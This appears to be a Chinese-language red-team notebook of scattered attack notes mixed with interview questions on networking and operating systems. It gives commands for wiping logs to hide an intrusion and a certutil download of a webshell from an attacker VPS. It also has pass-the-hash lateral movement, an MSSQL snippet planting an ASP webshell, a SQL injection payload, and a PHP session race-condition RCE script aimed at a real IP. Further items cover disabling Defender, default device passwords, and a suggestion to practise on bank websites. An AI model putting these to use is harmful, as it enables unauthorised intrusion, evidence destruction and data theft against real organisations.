Scheduler服务日志:%systemroot%\schedlgu.txt
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx

linux(检索根目录以及上级目录是否存在备份)
1.清空当前用户历史命令并删除相关文件:
history -c
echo “”> /root/.bash_history
echo “”> /var/run/utmp
2.清除部分日志:echo “”> /var/log/secure;全删除如不能删除使用echo依次覆盖:rm -f -r /var/log/*;
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/auth.log 系统授权信息,包括用户登录和使用的权限机制等 (debian)
/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
1
2
3
4
5
6
7
8
9
10
11
frsocks+protoplex+流量重定向实现端口复用
protoplex是一个协议复用的工具,比如以下命令可将本地9999端口的流量根据协议类型转到本地的233380端口。用于绕过云主机的nsg安全规则。
./frsocks -sockstype fsocks -listen 2333 //创建本地监听
./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999 //端口分流,根据协议类型转到本地的2333和80端口
重定向命令
linux:
sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999
windows:
netsh interface portproxy add v4tov4 listenport=80 listen address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129
1.netsh interface portproxy show all //查看转发规则
2.netsh interface portproxy reset //清除所有转发规则

searchtometerpreter可以从commband shell 进入materpretershell

Impacker组件的py版本 进行收集比较稳。比mimikatz还稳

发现可以通过下载证书的方式得到webshell。

1
exec("cmd.exe /c  certutil -urlcache -split -f http://vps/ccc.txt  webapps/nc_web/ccc.jsp");

开启ntlm远程登陆,登陆远程桌面。

1
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f        

得到域控ip之后,不能直接通过ntlm登陆,先用smb管道开启ntlm登陆方式。

1
2
3
python3 smbexec.py -hashes :ntlm 域/域管用户@域控ip
并执行
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

应急响应中 查看回收站也是很重要的一环

应急响应中 在c盘的用户/公用也是很重要的一环

在数据库的用户文件如果加盐了 就用同一个盐新建一个自己的user 就能用这个user登录

原来shell是可以学习编辑器的,多用正则表达式,精通正则=精通shell

杀毒软件主要是基于 .txt 文件进行查杀的,而我们只需要对 .txt 文件进行些许的改动即可实现免杀。

复现后可以看工具原理和工具代码—再看源码为现代吗

在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。在蓝队的溯源中,攻击者的攻击路径都将记录在日志中,所遗留的工具也会被蓝队进行分析,在工具中可以查找特征,红队自研工具更容易留下蛛丝马迹。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉,以防被溯源在演练中失分。

微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。

安全客投稿可以领取现金,当然技术下限也高

extension 这个环境变量,设置执行脚本是要引入的动态链接库文件(Linux 下是.so,Windows 下是.dll):

!会做的不如会写的,会写的不如会说的。这对面试时候谈价钱很有用

要能够将写好的报告重要内容和原理有条理的口头叙述出来

ysosiral 就是一种调用他们自带的那些shiro啊 weblogic啥的payload去生成反序列化并自带有run模块上载到指定的网站进行命令执行。所以那个payload里面的部分命令执行代码也可改(但是不同中间件对应的模板只能轻改。(过waf啥的))。然后也可以自己写payload和command反序列化框架来进行自定义自己的命令执行。

域内就域控默认开启smb签名

命令后面加上0>&1,代表将标准输入重定向到标准输出

spn不是票据

msfm后渗透载荷里面有新建服务功能

APT攻击说到底就是有个好的钓鱼手法,好的免杀shellcode。好的隐藏配置。钓很多人的鱼

mimikatz不能抓取win10。但是可以用自带的lsass.exe弄进靶机搞hash

dns隐藏ip流量和dns隐藏隧道不一样。dns隐藏隧道就是利用dns服务直接像开监听器一样开dns监听器去进行接受反弹dnsshell。具有很强的穿透性和高速,但大多情况下用不到它。然后有些时候它又成了唯一方法。所以说dns隐藏隧道只是我们开隧道的一种方式。而不是我想的那种配合dns去隐藏frp、ew隧道那些

dns隐藏ip就是我们开c2服务器的时候在外网映射一样。可以把我们的c2服务器多层外网映射出去。然后再在公网ip分配dns。进行流量重发。从而达到防守方难以察觉我们dns的真正ip。

内存溢出可以造成RCE也可以用于内网提权。但两种利用方式不一样

rootkit始终是最终研究方向之一。十年前如此,十年后依旧如此

做shell到底还是用devc++。因为c都是向下兼容的

可以使用截屏命令看看是否处于锁屏状态

图片

如果处于锁屏状态。就无发对受害机利用远控软件(向日葵那些)

利用哥斯拉自带的shellcodeLoader上线到CS,这个模块在实战下还是很好用的

如果存在360,会被提示拦截,解决方法是注入到另一个system权限进程下去执行命令

PE文件的全称是Portable Executable,意为可移植的可执行的文件

xor就是异或,用于shellcode免杀

虚拟机逃逸和二进制和pwn有关系

webshell中如果没有回显,我们最好让它导出到当前地址,方便我们查看.

linux万物皆文件

image-20220119184342360

ntdsl.dat是活动目录数据库。属于不可信程序。用wmic去复制弄出来可以隐蔽点免得被干。

当然上面部分写法是错的

蚁剑找寻数据操作时不能选mysql 要选mysql1因为mysql不能改端口 只能使用默认端口 而实际端口往往不一样

UAC

  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到Program Files或Windows目录
  • 查看其他用户文件夹

ms15-051 对win2008不蓝屏

MS16-014对win2008会蓝屏

不是所有的pe文件都可以用来当cs载荷进行横向。有的就不行 连上后会断 。具有适配性

https://blog.csdn.net/swartz_lubel/article/details/70255686

一般需要满足服务的pe文件才适合

svchost.exe 也可能是恶意软件所伪装,尤其是当它们存在于除C:\Windows\System32和C:\Windows\SysWOW64(仅64位)以外目录。

Ntds.dit卷影拷贝可以弄出里面的hash

更换思路,依旧从管理员到system出发,利用winlogon获得system权限,通过StartService启动trustedinstaller服务,从而进步获取trustedinstaller的权限,利用trustedinstaller来停止defender

rustinstall权限比system权限更大 而system无法stopdefence防护 但是trust可以

既有注册表开机自启动 又有服务开机自启动

什么iis解析漏洞、apache解析漏洞、tomcat解析漏洞基本上都发生于文件上传

非预期就是再命令字符串间具有错误的正则写法照成攻击者利用非预期错误,构造字符从而绕过正则,就比如https://www.jianshu.com/p/076c5b422c96中非预期的原因是错误的正则写法匹配了`|\`,而非预期的`\`。而且这种非预期因为是利用正则限制命令。所以大部分发生于系统上的错误。所以再PWN,逆向,web,语言中 都有产生

400大多是没有将网址添加到hosts的原因

mitm6配合Krbrelax.py成功中继会得到证书。而且数据很多,需要辨别和提取成txt

原来.sh就是shell语言的标志

cs3.4才能上线winxp和2003 当然对cs4.4进行修改也可以

docker逃逸的一个方法:通过sda挂载、然后创建ssh私钥并写入主机ssh目录 然后连接

2022spring core

image-20220401232007718

①前端加密的情况下waf是无法识别到你的恶意payload的②大家都不想打,是一块未被开发过的宝地。PS:大家想练手的话,可以找各种银行的站点,一般银行站点都有前端加密的。

对web控件进行右键然后”检查“,就能找出对应的F12js源码

我们可以将字典入库,增加keywordcount字段用于计数,当我们的关键词命中时,对应的keywordcount值加1。每次使用字典时,从数据库中order by keyword_count desc提取关键词,这样会生成一个根据关键词命中次数降序的字典,这样经常命中的关键词就会靠前,我们使用的字典的效率也会提高,循环往复我们的字典将会越加成熟。

  1. 通过修改请求参数值后追加 单双引号 逐个重放,遍历每个参数,确认那个参数会引起响应异常。

  2. 对异常的参数,通过修改请求参数值后追加payload 来检测命令注入、ssrf、代码注入、sql注入、信息泄露等漏洞。

调试浏览器

图片

以前的远控器+现在的免杀也有很好的效果

印象笔记可以剪藏网页 要经常用它

image-20220412234745223image-20220412234755608img

php 可以这样用 和html套用

很多的

</ tr> 由此可以意识到该页面使用了wordpress

1
2
3
4
5
6
7
8
9
10
11
12
13
AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7



"AND" = 如果用AND分隔的所有条件都为TRUE,则AND运算符将返回一条记录。
"mod(29,9)" = mod的功能是在值之间进行划分
"div" =sql中,div函数被视为除法
"@a:=" = 用于在内部保存SQL查询,例如@a:=(concat(database(),"--","_Y000!_")
"union" = 连接两个以上的sql命令
"distinctrow" = 避免结果重复
"select" = 从数据库中选择我们想要的
"数据库中的列数
"AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7"

可以木马写进txt 在通过上传无毒的jsp.php.等去引用这个txt就能bypass(检测文件内容的waf)

在审计某个模块代码时,我们可以通过跟踪数据流或者跟踪控制流的方式去阅读,那么那种方法比较好呢?答案是既不关心数据流也不关心控制流,而是只关注本模块的实现。因为多年的经验告诉我们,精神力是影响代码审计效率的重要原因,而在不同模块中来回跳转往往形成了精神的消耗。比如在某些复杂的项目代码中,查找某个函数的实现会不断地打开新文件,从而不断地涌出需要解决的新问题,在不断追踪的过程中,往往会迷失在好奇的海洋中,从而忘记了原来的审计任务。

如果确实要打破砂锅问到底,那么也建议在审计记录上先做个标记,等完成当前模块的审计后再对其进行深入分析。

如果某件事情手工做了三次,那么就应该写个脚本去进行自动化

如果上传jsp码 大部分都被拦截 甚至连hello world都拦截 可以尝试对木马进行加密 在网上查找相关的资料,发现LandGrey大佬的一个unicode编码的木马。https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2FLandGrey%2Fwebshell-detect-bypass%2Ftree%2Fmaster%2Fwebshell%2Fjsp

1
2
3
4
5
<%@page import="java.io.*,java.net.*,java.sql.*,java.text.*"%>
<%!
\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0050\u0077\u0064\u003d\
.........
%>

遇到waf拦截菜刀流量的突破方法

下面是回显

图片

下面是方法

https://www.uedbox.com/post/58916/

https://github.com/Ch1ngg/CaidaoMitmProxy

不过这些都是借用。。还是得自己学好java去进行改进

如果是插入图片码的话、在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的源代码发生冲突,因此需要特殊处理过的图片才能保证正常解析。推荐使用如下图片。

图片

使用notepad++打开图片,把jsp马插入到图片源码中。

图片

更改为jsp后缀进行上传

如果失败 最好在码的前面和后面都插入

解析成功的回显如下:

图片

docx是doc进行xml转置文件 将其后缀改为zip后可以看到很多xml文件

而且可以将xml载入目录/etc/passwd 或者插入xxe代码 就能实行xxedengdeng

然后还能再写入php木马到zip然后上传 然后再用php伪协议//zip将其解压就能获得webshell

php魔方加密 1 2 3

https://blog.csdn.net/weixin_35949264/article/details/115147668

首先是为什么能成功解析成php文件?

1
2
3
if (test_input($_POST["wname"])!==""){//自定义文件名

$newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名

我觉得这个地方能够上传成功与文件名命名格式有关,众所周知,英文状态下冒号是不允许存在的,应该是这个地方产生了截断,导致后面的.jpg没有被拼接上。

Shiro-721****,对应CVE-2019-12422,影响范围Apache Shiro < 1.4.2。后期Shiro组件的加密key是系统随机产生的,无法猜到key。但是安全专家很快发现,Shiro的加密方式是AES-128-CBC,CBC加密方式存在一个 Padding Oracle Attack漏洞,可以得到一个存在反序列化数据的AES加密密文,发送给服务端后,shiro组件会解密然后触发反序列化代码执行漏洞。这种攻击方式的前提是需要登录后台获取一个合法Cookie。

一次成功的Shiro Padding Oracle需要一直向服务器不断发包,判断服务器返回,攻击时间通常需要几个小时。由于此漏洞利用起来耗时时间特别长,很容易被waf封禁,因此在真实的红队项目中,极少有此漏洞的攻击成功案例,大家多数都是在虚拟机环境下测试。

遇到的各种坑的解决方法:https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484091&idx=1&sn=4dcce59a842f17035d0018bf650671ae&chksm=c25fcdc0f52844d608b6b87d85082b74d5e15888e76001127ff40cc407a46e5e5de446b1365e&mpshare=1&scene=23&srcid=042312zNRzQM4ycBAZSa7pUd&sharer_sharetime=1650691567395&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd

20220421 五号暗区 今日一论:哈希算法和加密算法有什么区别?为什么对口令的保护更多使用哈希算法而不是加密算法?

1 hash不可逆,且长度相等,普通加密可逆,且长度不等
2 口令属于的作用在于比较验证,不需要还原成明文,所以使用hash

既然是dbo的权限那么也可以尝试通过差异备份等等的方法来绕过杀毒,这里利用的是存储过程来写文件

1
declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\muma.asp', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

利用导入xvg文件进行xxs

https://mp.weixin.qq.com/s?__biz=MzkwNzEzMTg3MQ==&mid=2247485101&idx=1&sn=f1cf5a130a662990e665a796024517ba&chksm=c0dca81df7ab210b442563f85d3f2d12f73c1d9c8e2027705fb7cae88f6a993e6606a308b467&mpshare=1&scene=23&srcid=0425cjVGunK3XgzUbgnMn5l9&sharer_sharetime=1650890307991&sharer_shareid=9108c08c45d1f36cab8f5c866e004fa3#rd

20220425今日一问:Session和Cookie的区别?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1)Cookie:用户登录后,服务端委托浏览器把用户信息存储在cookie中,客户端每次发起请求时要携带这个cookie,服务端收到请求时从cookie中取出用户信息,就知道是哪个用户了。
但是服务器无法检测 这个cookie是否被篡改,所以不安全。
2)Session:用户登录后将用户信息保存到服务器内存中,并返回一个ssesionid让浏览器设置到cookie中,浏览器之后每次发起请求都会携带cookie,服务端收到后取出cookie中的sessionid,再从内存中取出与之相对应的用户信息,这样就知道是哪个用户了。
但是当用户增多时,服务器内存压力会很大。
3)Token:用户登录后,服务端会签发一个token发给客户端,客户端收到后爸token放到cookie或LocalStorage(局部存储器),之后每次向服务端请求资源时都要携带token,服务端收到后验证tokne,就知道哪个用户了。token的好处是,可以很方便的拓展,一处发票,处处用票。但是缺点是,不能踢人,发出去了就只能等他票据过期了,还有需要保证密钥足够安全

服务端可以检测到token是否被篡改,比较安全

session,记录服务器和客户端会话状态的机制,使服务端可以记录会话信息

token,访问资源时需要的资源凭证,不会存储会话信息

cookie,保存在浏览器的个人信息,辨别用户身份,进行session跟踪

session:服务器给客户端起的别名,用于分辨谁是谁。
cookie:只存在于浏览器的特殊容器,用于携带一部分浏览器需要传递给服务器的信息。
token:服务器用于证明“我的确给过客户端授权,至于客户端是谁?我不在乎”


token和session最核心的区别是发证和验证的解耦合

20220406 每日一问 tcp和http的差别

tcp有状态:每一次的交换数据都和上一次相关,ack确认上次接收的报文
http无状态:每次请求都是独立请求,上下没有任何关系,服务器也不记录是不是同一用户

查看目录的时候,发现了网站的报错信息,好熟悉啊,是thinkphp的框架图片

这么说的话,让我再看一看发送的包和返回的包,有了惊喜发现,该网站用的是基于thinkphp框架的thinkcmf框架图片

这里教一些前端看代码的小技巧,第一个是js代码格式化,点击下面这个花括号,就能格式化JS代码比较好看图片

第二点就是如何找接口,通过ctrl+F搜索path: ‘,就能看到他的路由配置或者直接搜routes或者home(有没有大佬还有好的方法可以评论区说说)图片

如果发现一个接口是https://X.X.com/#/XXXXconferenceRoomList,拼接直接get请求访问,前端会自动向后端发起对应接口的查询,替换部分参数即可查询到想要查询到信息,未做权限校验,未授权直接调用接口查到一些敏感信息了

如果发现一个接口是XXXXAddressBookByProjectId,也是直接泄漏了地址、姓名、电话等敏感信息

如果看到一个很有趣的接口XXXXUserInfo,这明显是一个用户信息的接口,访问后显示系统修复中图片

见到这个不要慌,URL后面直接?id=1试试->不行,把数据包改成POST果然可以了,直接可以遍历用户了,接口还返回了用户名和密码,这不就齐活了

总结写在后面,前面也说了找接口用通过ctrl+F搜索path: ‘,就能看到他的路由配置或者直接搜routes或者home,还有就是有的js下面会配置POST包或者GET包参数,==如果POST就是data,GET就是params==,不像这次这么简单直接访问就把参数补齐了,我只能说细心再细心很重要~,再见各位。

在许多业务非常聚焦比如行业应用、银行、公共交通、游戏等行业,C/S架构中服务器高度集中,对应用的版本控制非常严格,这时候就会在服务器上部署对app内置证书的校验代码。

抓包出现如下提示时,我们确定出此APP为服务器校验app客户端证书图片

对于此类APP抓包而言通常需要完成两项内容:

1
2
找到证书文件
找到证书密码

服务器对客户端进行校验过程中,客户端将证书公钥发送给服务器,以及从服务器获取session和私钥解密过程中,需要API进行操作,API存在于java层框架内,所以hook框架层代码java.security.KeyStore,使密码自吐

1
# frida -U -f cn.soulapp.android -l ssl.js  --no-pause

图片

密码}%2R+\OSsjpP!w%X
然后首先使用常规方式解压搜索app包里的证书文件。一般apk进行解包,直接过滤搜索后缀名为p12的文件即可,一般常用的命令为tree -NCfhl |grep -i p12,直接打印出p12文件的路径.图片

更多详见https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247497476&idx=1&sn=d12804a25ba122c1a4e06b28356ba745&chksm=ce5dd565f92a5c73fa027ec96d79469ff4883038da9c7ed4153ccfa289a22ee289da7243b34d&mpshare=1&scene=23&srcid=0427762FTBKHPUG2paGDrEAf&sharer_sharetime=1651060892855&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd

<Frida自吐证书密码>

死锁和堵塞的差别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1 死锁的概念解释
指多个进程在运行过程中因争夺资源而造成的一种僵局,当进程处于这种僵持状态时,若无外力作用,它们都将无法再向前推进。
2 死锁的产生
死锁的产生主要有两点:
资源竞争和进程间推进顺序非法

阻塞操作是指在执行设备操作时若不能获得资源则挂起进程,直到满足可操作的条件后再进行操作。被挂起的进程进入休眠状态,被从调度器的运行队列移走,直到等待的条件被满足。而非阻塞操作的进程在不能进行设备操作时并不挂起,它或者放弃,或者不停地查询,直至可以进行操作为止

死锁是多
阻塞可单可多

我的文件助手 0:33:20
阻塞在等待资源 期间是挂起的
死锁在争夺资源 期间是运行的

在挖洞的时候一些提高效率的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
本节定义了整个单行命令/脚本中使用的特定术语或占位符。

1.1. "HOST "定义了一个主机名、(子)域或IP地址,例如,用internal.host、domain.tld、sub.domain.tld或127.0.0.1取代。

1.2. "HOSTS.txt "包含标准1.1,在文件中超过一个。

2.1. "URL "肯定定义了URL,例如被http://domain.tld/path/page.html,或者有点以HTTP/HTTPS协议开始。

2.2. 2.2. "URLS.txt "包含标准2.1,在文件中不止一个。

3.1. "FILE.txt ""FILE{N}.txt "是指根据上下文和需要运行命令/脚本所需的文件。

4.1. "OUT.txt ""OUT{N}.txt "是指作为目标存储结果的文件将是被执行的命令。


本地文件包含 @dwisiswant0
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

开放式重定向 @dwisiswant0
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

@N3T_hunt3r
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null

XSS @cihanmehmet
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt

@fanimalikhack
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt

@oliverrickfors
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
原型链污染@R0X4R
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
查找 JavaScript 文件 @D0cK3rG33k
assetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Zo-9_]+" | sed -e 's, 'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'):echo -e "\e[1;33m$url\n" "\e[1;32m$vars"; done

从JavaScript中提取端点@renniepak
cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u

从目标列表中获取CIDR和组织信息@steve_mcilwain
for HOST in $(cat HOSTS.txt);do echo $(for ip in $(dig a $HOST +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; d
one | uniq); done

从RapidDNS.io获取子域名@andirrahmani1
curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep "<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed 's/#results//g' | sort -u

从BufferOver.run获取子域@_ayoubfathi_
curl -s https://dns.bufferover.run/dns?q=.HOST.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u

@AnubhavSingh_
export domain="HOST"; curl "https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]' | rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain"

从Riddler.io获取子域名@pikpikcu
curl -s "https://riddler.io/search/exportcsv?q=pld:HOST" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

Get Subdomains from VirusTotal@pikpikcu
curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

用cyberxplore获取子域名@pikpikcu
curl https://subbuster.cyberxplore.com/api/find?domain=HOST -s | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+"

从CertSpotter获取子域@caryhooper
curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

从Archive中获取子域@pikpikcu
curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u

从JLDC获取子域@pikpikcu
curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u

从securitytrails获取子域@pikpikcu
curl -s "https://securitytrails.com/list/apex_domain/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u

Bruteforcing Subdomain using DNS Over@pikpikcu
while read sub; do echo "https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" | parallel -j100 -q curl -s -L --silent | grep -Po '[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|".*?")+[}\]]{1}' | jq | grep "name" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u ; done < FILE.txt

FFUF 的子域暴力破解器 @GochaOqradze
ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk '{print $4}'

从 IP 地址查找 ASN 的分配 IP 范围 wains.be
whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n

从文件中提取 IP @emenalf
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt

查找子域接管
subfinder -d HOST >> FILE; assetfinder --subs-only HOST >> FILE; amass enum -norecursive -noalts -d HOST >> FILE; subjack -w FILE -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover ;

使用 cURL + Parallel 进行 URL 探测
cat HOSTS.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -skw

我个人觉得很有用的来了,注意哈。上面并不全,全的在原文,我翻译过来后,筛出来适合咱用的一些命令:

转储范围内的资产 chaos-bugbounty-list@dwisiswant0
curl -sL https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value'


转储范围内的资产 bounty-targets-data
HackerOne 程序
curl -sL https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'


BugCrowd 程序
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'

还有一些,在原文,hackerone的资产是每小时更新的可以进行差异化对比来获取到新的项目资产范围

从swagger.json提取端点 @zer0pwn 最常用的语句了
curl -s https://HOST/v2/swagger.json | jq '.paths | keys[]'


查找隐藏的服务器和/或管理面板 这个依托与字典了
ffuf -c -u URL -H "Host: FUZZ" -w FILE.txt

在你们用这些工具的时候最好开一台服务器来配置你们的工具环境变量,我用的centos缺什么从yum拉取或者你已经配置好了工具保证你的命令能够调用的到比如前面的subfinder,ffuf 不然的话会报错的,其余的命令看原文吧,重复利用的比较少

描述一下TCP拥塞控制的慢开始和拥塞避免image-20220505115333924

看到这里的时候,特别是session.upload.progress.enable这个开启时,就想到了当传入文件上去时,有办法可以进行rce。刚开始时想用条件竞争,直接就用脚本读出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import io
import sys
import requests
import threading
host = 'http://114.115.134.72:32770/index.php'
sessid = 'aa'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid},
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
break

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

线程和进程有什么区别:

1
2
3
4
资源:进程是资源分配的基本单位,但线程不拥有资源,线程能访问其所属进程的资源;
调度:线程是独立调度的基本单位,同一进程中线程的切换不会引起进程的切换,而不同进程间线程的切换会引起进程的切换;
系统开销:进程的新建和撤销时,系统需要为其分配和回收资源,如内存空间和I/O设备等,开销远大于线程的新建和撤销。进程的切换需要当前进程CPU环境的保护和新进程环境的设置,而线程的切换只需要保存和设置少量的寄存器内容,开销很小。因此,线程的系统开销远低于进程。
通信:线程可以直接读写进程数据进行通信,但进程需要IPC(进程间通信技术)进行通信(管道、消息队列、共享内存)

木马驻留系统的方式有哪些?

1
2
3
4
5
6
1.利用操作系统的管理机制:比如写个服务,建立计划任务,将程序写入自启动目录,注册表驻留
2.利用操作系统的程序执行机制:比如dll劫持,path劫持(shift后门)
3.利用诱导触发的方式:比如宏病毒,快捷方式忽悠
4.想办法搞个帐号
5.利用第三方程序的漏洞:比如webshell,sql注入
6.第三方程序投毒

SQLmap参数–os-shell的本质

1
2
3
那么--os-shell的本质就是利用不同数据库的特性,在当前数据库用户权限足够的情况下利用其特性执行命令。
MySQL:有权限的情况下且得到物理路径可写恶意代码到目标,并利用脚本代码的函数执行系统命令。
mssql :这个微软的数据库就是利用存储过程执行命令

for /L %P in (1,1,254) do @ping -w 10 -n 1 10.128.12.%P | findstr TTL

image-20220514224856626

八字节表示常用数字image-20220515193017495

  • juniper 登录地址:https://192.168.1.1 用户名:netscreen 密码:netscreen

    Cisco 登录地址:https://192.168.0.1 用户名:admin 密码:cisco

    Huawei 登录地址:http://192.168.0.1 用户名:admin 密码:Admin@123

    深信服 VPN:51111 端口 delanrecover

